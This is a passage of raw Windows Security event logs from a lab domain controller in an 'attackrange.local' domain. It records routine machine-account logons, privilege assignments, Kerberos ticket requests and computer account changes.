SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:52:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253907 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x6BB26 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:52:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253906 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x6BF1E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:52:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253904 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x6BF1E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 49722 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:52:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253903 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x6BF1E - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:52:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253900 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x6BBBC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {D9E964E8-74A4-F919-6727-18269A008687} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 49721 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:52:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253899 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x6BBBC - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:52:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253898 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: WIN-DC-725$@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {3A006024-7B09-2B58-9332-5E8AF1B97F20} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40800000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:52:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253897 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x6BB26 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 49719 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:52:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253896 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x6BB26 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:52:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253947 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x7AB62 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:52:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253946 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x7AB62 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 52797 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:52:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253945 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x7AB62 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:52:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253944 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\WIN-DC-725$ - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x7A4D6 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:52:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253943 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\WIN-DC-725$ - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x7A4D6 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {A4DB42B2-B7E6-F529-9FC0-A0D233BE4BF4} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 52796 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:52:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253942 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\WIN-DC-725$ - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x7A4D6 - -Privileges: SeAuditPrivilege - SeImpersonatePrivilege - SeAssignPrimaryTokenPrivilege -03/11/2021 11:52:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253941 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: WIN-DC-725$@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {12B44CB3-C4BC-C160-5917-6EC3D720DDC1} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40800000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:52:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253940 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: WIN-DC-725$ - Supplied Realm Name: attackrange.local - User ID: ATTACKRANGE\WIN-DC-725$ - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:52:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253951 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: ATTACKRANGE\WIN-DC-725$ - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x81C33 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {68513207-EE9F-7088-7C79-4A7797658EB5} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:52:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253950 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\WIN-DC-725$ - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x81C33 - -Privileges: SeAuditPrivilege - SeImpersonatePrivilege - SeAssignPrimaryTokenPrivilege -03/11/2021 11:52:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253949 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: WIN-DC-725$@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {3CE2A852-0E03-7038-F435-77FBCDFDA136} - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x60810010 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:52:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253948 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: WIN-DC-725$@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {3CE2A852-0E03-7038-F435-77FBCDFDA136} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:52:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253958 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x591EA - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:52:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4742 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Computer Account Management -OpCode=Info -RecordNumber=253957 -Keywords=Audit Success -Message=A computer account was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x8288E - -Computer Account That Was Changed: - Security ID: ATTACKRANGE\WIN-DC-725$ - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - -Changed Attributes: - SAM Account Name: - - Display Name: - - User Principal Name: - - Home Directory: - - Home Drive: - - Script Path: - - Profile Path: - - User Workstations: - - Password Last Set: - - Account Expires: - - Primary Group ID: - - AllowedToDelegateTo: - - Old UAC Value: - - New UAC Value: - - User Account Control: - - User Parameters: - - SID History: - - Logon Hours: - - DNS Host Name: - - Service Principal Names: - ldap/win-dc-725.attackrange.local/attackrange.local - ldap/win-dc-725.attackrange.local - ldap/WIN-DC-725 - ldap/win-dc-725.attackrange.local/ATTACKRANGE - ldap/8895e047-912a-4468-a586-e230159c0f25._msdcs.attackrange.local - ldap/WIN-DC-725/ATTACKRANGE - E3514235-4B06-11D1-AB04-00C04FC2DCD2/8895e047-912a-4468-a586-e230159c0f25/attackrange.local - HOST/win-dc-725.attackrange.local/attackrange.local - HOST/win-dc-725.attackrange.local - HOST/WIN-DC-725 - HOST/win-dc-725.attackrange.local/ATTACKRANGE - HOST/WIN-DC-725/ATTACKRANGE - RPC/8895e047-912a-4468-a586-e230159c0f25._msdcs.attackrange.local - RestrictedKrbHost/WIN-DC-725 - RestrictedKrbHost/win-dc-725.attackrange.local - GC/win-dc-725.attackrange.local/attackrange.local - DNS/win-dc-725.attackrange.local - ldap/win-dc-725.attackrange.local/DomainDnsZones.attackrange.local - ldap/win-dc-725.attackrange.local/ForestDnsZones.attackrange.local - TERMSRV/win-dc-725.attackrange.local - TERMSRV/WIN-DC-725 - -Additional Information: - Privileges: - -03/11/2021 11:52:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4742 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Computer Account Management -OpCode=Info -RecordNumber=253955 -Keywords=Audit Success -Message=A computer account was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x8288E - -Computer Account That Was Changed: - Security ID: ATTACKRANGE\WIN-DC-725$ - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - -Changed Attributes: - SAM Account Name: - - Display Name: - - User Principal Name: - - Home Directory: - - Home Drive: - - Script Path: - - Profile Path: - - User Workstations: - - Password Last Set: - - Account Expires: - - Primary Group ID: - - AllowedToDelegateTo: - - Old UAC Value: - - New UAC Value: - - User Account Control: - - User Parameters: - - SID History: - - Logon Hours: - - DNS Host Name: - - Service Principal Names: - ldap/win-dc-725.attackrange.local/attackrange.local - ldap/win-dc-725.attackrange.local - ldap/WIN-DC-725 - ldap/win-dc-725.attackrange.local/ATTACKRANGE - ldap/8895e047-912a-4468-a586-e230159c0f25._msdcs.attackrange.local - ldap/WIN-DC-725/ATTACKRANGE - E3514235-4B06-11D1-AB04-00C04FC2DCD2/8895e047-912a-4468-a586-e230159c0f25/attackrange.local - HOST/win-dc-725.attackrange.local/attackrange.local - HOST/win-dc-725.attackrange.local - HOST/WIN-DC-725 - HOST/win-dc-725.attackrange.local/ATTACKRANGE - HOST/WIN-DC-725/ATTACKRANGE - RPC/8895e047-912a-4468-a586-e230159c0f25._msdcs.attackrange.local - RestrictedKrbHost/WIN-DC-725 - RestrictedKrbHost/win-dc-725.attackrange.local - GC/win-dc-725.attackrange.local/attackrange.local - DNS/win-dc-725.attackrange.local - ldap/win-dc-725.attackrange.local/DomainDnsZones.attackrange.local - ldap/win-dc-725.attackrange.local/ForestDnsZones.attackrange.local - TERMSRV/win-dc-725.attackrange.local - -Additional Information: - Privileges: - -03/11/2021 11:52:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253953 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x8288E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 62290 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:52:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253952 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x8288E - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:52:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253961 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT 